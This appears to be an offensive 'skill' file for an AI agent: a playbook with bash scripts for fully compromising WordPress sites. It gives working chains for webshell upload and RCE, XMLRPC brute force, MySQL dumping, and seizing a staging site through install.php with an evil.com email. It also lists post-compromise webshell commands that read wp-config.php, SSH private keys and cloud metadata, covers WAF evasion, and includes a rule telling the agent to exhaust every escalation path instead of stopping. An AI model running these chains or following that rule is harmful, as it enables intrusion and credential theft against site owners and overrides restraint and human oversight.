End-to-end guide for achieving complete compromise of a WordPress target by executing the most lethal chain available based on the target's specific vulnerability profile. This is the "final boss" skill — it reads the findings from all other skills and selects, executes, and verifies the optimal kill chain.
When to Use
All recon phases are complete on a high-value WordPress target.
Multiple findings are confirmed and you need to pick the best exploitation path.
You need to demonstrate real impact (RCE, data breach, ATO) for reporting.
After cross-attack-chains mapped the possible chains — this skill executes the best one.
Findings consolidated per target with pattern IDs.
For RCE chains: a listener ready for reverse shells (optional).
For ATO chains: a victim scenario defined (phishing page, credential theft).
How to Run
# 1. Inventory findingscat findings/TARGET_summary.md
# 2. Select optimal chain based on available ingredients# Decision tree:# Has PHPInfo with exec available + upload vector? → Chain 1 (RCE via PHPInfo)# Has CORS + Open Reg + XMLRPC wp.uploadFile? → Chain 2 (RCE via XMLRPC)# Has CORS + users with emails? → Chain 3 (ATO via CORS phishing)# Has XMLRPC system.multicall? → Chain 4 (Brute force → credential → upload → RCE)# Has Plugin CVE < vulnerable version? → Chain 5 (CVE exploitation)# Has MySQL open + credentials? → Chain 6 (Data breach)# 3. Execute the chain and verify
Reference files in this skill:references/mailinator-reset-workflow.md — complete Mailinator API workflow for extracting WordPress registration reset keys and setting your own password. Read it with skill_view(name="wordpress-full-compromise", file_path="references/mailinator-reset-workflow.md").
references/subscriber-escalation-notes.md — field notes from real subscriber-level WordPress invasion (WP 6.3.1, subdirectory install): what vectors work, what block at subscriber level, cookie auth issues, and key lessons. Includes the complete list of what actually returns as subscriber. Read it with .
TARGET="$1"echo"[*] Chain 2: XMLRPC wp.uploadFile with open registration → RCE"echo"[*] Prerequisites: XMLRPC wp.uploadFile confirmed + Open registration confirmed"echo"[*] See xmlrpc-exploitation skill Phase 5 for the full upload → webshell → RCE chain"echo"[*] Key steps:"echo" 1. Register user: POST /wp-login.php?action=register"echo" 2. Upload webshell: POST /xmlrpc.php with wp.uploadFile + base64 PHP"echo" 3. Access: /wp-content/uploads/YYYY/MM/shell.php?cmd=id"echo" 4. Verify RCE: curl shell_url?cmd=whoami"# Quick registration check
REG=$(curl -sk "https://$TARGET/wp-login.php?action=register" | grep -c 'user_login.*wp-submit' || echo 0)
if [[ "$REG" -gt 0 ]]; thenecho"[+] Open registration confirmed — Chain 2 viable"elseecho"[-] No open registration — Chain 2 blocked"fi
Chain 4 — Brute Force via XMLRPC → Credential → RCE
TARGET="$1"echo"[*] Chain 4: XMLRPC system.multicall brute force → credential theft → RCE"echo"[*] Prerequisites: XMLRPC system.multicall + wordlist"echo"[*] See xmlrpc-exploitation skill Phase 4 for amplified brute force"echo""echo"[*] Attack flow:"
1. Enumerate users: curl /wp-json/wp/v2/users (target admin ID=1)
2. Build multicall payload: 100 passwords per HTTP request
3. Detect success: response without faultCode 403 = valid credentials
4. Login: wp-login.php with discovered credentials
5. Upload webshell via Media Library or XMLRPC wp.uploadFile
6. RCE
**PERSISTENCE RULE - do NOT stop at first roadblock:** If admin brute fails, do NOT declare the target "defended" or "done." The user will push back. Instead, exhaust ALL escalation paths before giving up:
a. Try targeted wordlists (company name + year + special chars, industry terms, the WP theme name, employee names if known)
b. Check if wp.getOptions as subscriber leaks config detail
c. Try brute forcing OTHER high-value users (editor, author, shop_manager), not just admin
d. Check if registration role defaults to author/subscriber -> wp.editProfile may be partially exploitable
e. Try Application Passwords REST endpoint (may work if cookie session succeeds)
f. Verify no ElementsKit or other plugin provides unauthenticated upload
g. Check if XMLRPC wp.uploadFile has different capability checks than advertised
h. Check if staging subdomain has weaker auth (staging may be on same DB)
Only after ALL 7 paths have been tested can you conclude "blocked."
If ALL escalation paths are confirmed blocked, document each one with evidence ("tested but blocked: X returned 401, Y returned faultCode 403"). Then and only then move on.
# Quick multicall check
XMLRPC_BODY=$(curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
ifecho"$XMLRPC_BODY" | grep -q "Hello"; thenecho"[+] XMLRPC active — Chain 4 viable"echo"[*] Estimated brute force speed: 1000x amplification vs sequential requests"elseecho"[-] XMLRPC blocked or not active — Chain 4 blocked"fi
Chain 6 — MySQL Open → Data Breach
TARGET="$1"echo"[*] Chain 6: MySQL 3306 exposed → brute/credential → full database dump"echo"[*] Prerequisites: Port 3306 open + credentials (from source leaks or brute force)"echo"[*] See port-service-discovery skill for banner grab and access testing"echo""echo"[*] Attack flow:"echo" 1. Banner grab: nc TARGET 3306 (confirms MySQL version)"echo" 2. Credential source: .env leak, wp-config.php backup, error log mining, JS secrets"echo" 3. Connect: mysql -h TARGET -u USER -pPASS --skip-ssl"echo" 4. Dump: SELECT * FROM wp_users; SELECT * FROM wp_posts;"echo" 5. Exfil: mysqldump -h TARGET -u USER -pPASS --all-databases"# Check MySQL portifcommand -v nmap &>/dev/null; then
MYSQL_OPEN=$(nmap -p 3306 --open -T4 "$TARGET" 2>/dev/null | grep -c "3306.*open")
if [[ "$MYSQL_OPEN" -gt 0 ]]; thenecho"[+] MySQL 3306 OPEN — Chain 6 viable"
MYSQL_BANNER=$(timeout 5 nc -w 3 "$TARGET" 3306 </dev/null 2>/dev/null | head -1)
[[ -n "$MYSQL_BANNER" ]] && echo" Banner: $MYSQL_BANNER"echo"[*] Searching for credentials from other findings..."echo" Check source leaks: /root/output/leaks/*.env*.content"echo" Check error logs: /root/output/error_logs/*/intel_summary.md"echo" Check wp-config backups: /root/output/leaks/*wp-config*"elseecho"[-] MySQL 3306 not open — Chain 6 blocked"fifi
Chain 7 — Staging Site Seizure (install.php takeover)
TARGET="$1"
STAGING="$2"# e.g., staging.example.comif [[ -z "$STAGING" ]]; thenecho"[*] Chain 7: Staging WordPress install page → site seizure"echo"[*] Prerequisites: staging subdomain + /wp-admin/install.php returns HTTP 200"echo"[*] See staging-subdomain-hunt skill for staging discovery"echo""echo"[*] If you have the staging subdomain, run:"echo" $0$TARGET staging.$TARGET"exit 0
fiecho"[*] Chain 7: Staging Site Seizure — $STAGING"# Check install.php
INSTALL_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "https://$STAGING/wp-admin/install.php")
INSTALL_BODY=$(curl -sk --max-time 10 "https://$STAGING/wp-admin/install.php")
if [[ "$INSTALL_CODE" == "200" ]] && echo"$INSTALL_BODY" | grep -q "WordPress"; thenecho"[+] /wp-admin/install.php HTTP 200 — WordPress NOT configured!"echo"[+] STAGING TAKEOVER POSSIBLE"echo""echo"[*] Steps to seize the staging site:"echo" 1. Visit: https://$STAGING/wp-admin/install.php"echo" 2. Fill in: Site Title, admin username, password, email"echo" 3. Submit — you are now the WordPress admin of the staging site"echo" 4. Upload a plugin with backdoor code"echo" 5. The staging server may have connectivity to production (DB, APIs, internal network)"echo""echo"[*] Automated via curl (if form structure is standard):"echo" curl -sk -X POST 'https://$STAGING/wp-admin/install.php?step=2' \\"echo" -d 'weblog_title=Test&user_name=admin&admin_password=Hack123!&admin_password2=Hack123!&admin_email=test@evil.com&Submit=Install+WordPress'"# Check for upgrade.php (needs DB upgrade — info disclosure)
UPGRADE_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "https://$STAGING/wp-admin/upgrade.php")
[[ "$UPGRADE_CODE" == "200" ]] && echo" [INFO] /wp-admin/upgrade.php also accessible — DB upgrade page"# Check for setup-config.php (no wp-config — full config opportunity)
CONFIG_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "https://$STAGING/wp-admin/setup-config.php")
[[ "$CONFIG_CODE" == "200" ]] && echo" [INFO] /wp-admin/setup-config.php accessible — can set up fresh wp-config"elseecho"[-] /wp-admin/install.php not accessible (HTTP $INSTALL_CODE) — Chain 7 blocked"echo"[-] The staging site may already be configured or the page is blocked"fi
Post-Compromise Actions
After achieving RCE or ATO:
# 1. Extract wp-config.php (MySQL root creds)
curl -sk "$WEBSHELL_URL?c=cat%20../wp-config.php"# 2. Dump user table
curl -sk "$WEBSHELL_URL?c=mysql%20-u%20DB_USER%20-pDB_PASS%20-e%20'SELECT%20*%20FROM%20wp_users'"# 3. Check for other sites on the server
curl -sk "$WEBSHELL_URL?c=ls%20-la%20/var/www/"# 4. Check crontab for persistence opportunities
curl -sk "$WEBSHELL_URL?c=crontab%20-l"# 5. Check for SSH keys
curl -sk "$WEBSHELL_URL?c=cat%20~/.ssh/id_rsa"# 6. Check for cloud metadata
curl -sk "$WEBSHELL_URL?c=curl%20-s%20http://169.254.169.254/latest/meta-data/"
Pitfalls
Application Passwords shown to Subscriber but nonce rejected. The /wp-admin/profile.php page contains the Application Passwords section and an _wpnonce for subscriber accounts, BUT the REST API endpoint /wp-json/wp/v2/users/{id}/application-passwords returns rest_cookie_invalid_nonce (HTTP 403) when the subscriber tries to POST. The nonce is rendered in the page DOM but is ONLY valid for the subscriber's own session cookie
wp.getOptions leaks 116+ options even as subscriber but none are sensitive. The XMLRPC method wp.getOptions works with subscriber credentials and returns ~29-116 option structs, but in modern WP (6.x) the returned values are limited to blog metadata (template name, date format, time zone, URLs). No sensitive values are returned - admin_email, database credentials, SMTP passwords, secret keys, and API tokens are all hidden from subscriber role. Useful for confirming subscriber authentication is real and for basic OSINT (theme name, blog title, URL structure). — not for REST API calls. The subscriber can SEE the feature exists but CANNOT generate tokens. Don't assume "app passwords section visible = app passwords exploitable."
Subscriber login stays on wp-login.php. After POST to /wp-login.php with valid subscriber creds, the response is HTTP 200 with the login page again — no redirect to wp-admin. The session cookie IS set (look for wordpress_logged_in_* and wordpress_sec_* cookies in the response headers), but the subscriber role gets redirected back to login. Check the cookie jar, not the redirect URL, to confirm auth. XMLRPC wp.getUsersBlogs is the most reliable auth check.
XMLRPC upload returns success but file not accessible. Some hosts block PHP execution in /wp-content/uploads/. Try alternative paths or non-PHP extensions.
CORS phishing requires victim interaction. This is a real limitation. Document the social engineering scenario clearly.
Plugin CVE requires exact version matching. "Probably vulnerable" is not enough. Confirm version via readme.txt or REST.
WAF blocks webshell access. If the webshell 404s or 403s on access, try obfuscated filenames or the .phtml/.php5 extension.
SUBSCRIBER CANNOT UPLOAD via XMLRPC in modern WP (6.x).wp.uploadFile and metaWeblog.newMediaObject both return "Sorry, you are not allowed to upload files." for subscriber role. The Chain 2 (XMLRPC + Open Reg) description above only works if the registration grants Author+ role — check wp.getProfile for roles array BEFORE trying upload. If subscriber, need escalation first.
Mailinator flow: WordPress sends reset LINK, not password. After registration, WordPress sends an email with a reset link (wp-login.php?action=rp&key=...&login=...). You must: (1) fetch the reset page via Mailinator API to extract the key, (2) GET the reset page to get wp-resetpass-* cookie, (3) POST new password to wp-login.php?action=resetpass. The rp_key from the URL is required.
Subdirectory WP cookie issues (e.g. /magical/). WordPress in a subdirectory sets wordpress_sec_* cookies restricted to /magical/wp-admin and /magical/wp-content/plugins. The wordpress_logged_in_* cookie may not persist properly through curl. Use XMLRPC for authenticated actions instead of cookie-based REST API.
wp.editProfile returning true ≠ role changed. WordPress's XMLRPC wp.editProfile returns <boolean>1</boolean> even when the role field is silently ignored. Always re-check via wp.getProfile.
Subscriber escalation paths (before Chain 2 can proceed):
Brute force admin via system.multicall — 1000 passwords/request, check response for isAdmin or blogName (not just faultCode absence).
ElementsKit CVE-2023-6853 — admin-ajax.php may accept action=elementskit_upload_file without capability check if nonce is known. Requires profile page access to extract nonce.
Application Passwords — REST endpoint /wp-json/wp/v2/users/{id}/application-passwords may be accessible to subscriber.
Check actual default role — Some plugins change default role from subscriber to author/shop-manager. Verify with wp.getProfile immediately after registration.
Verification
RCE MUST return id or whoami command output proving execution on the target server.
ATO MUST demonstrate access to WordPress admin panel or REST API as a privileged user.
Data breach MUST include a sample of exfiltrated data (redacted appropriately).
All chains should be reproducible with the exact commands documented.
The final state (RCE, ATO, data access) must be captured as evidence for reporting.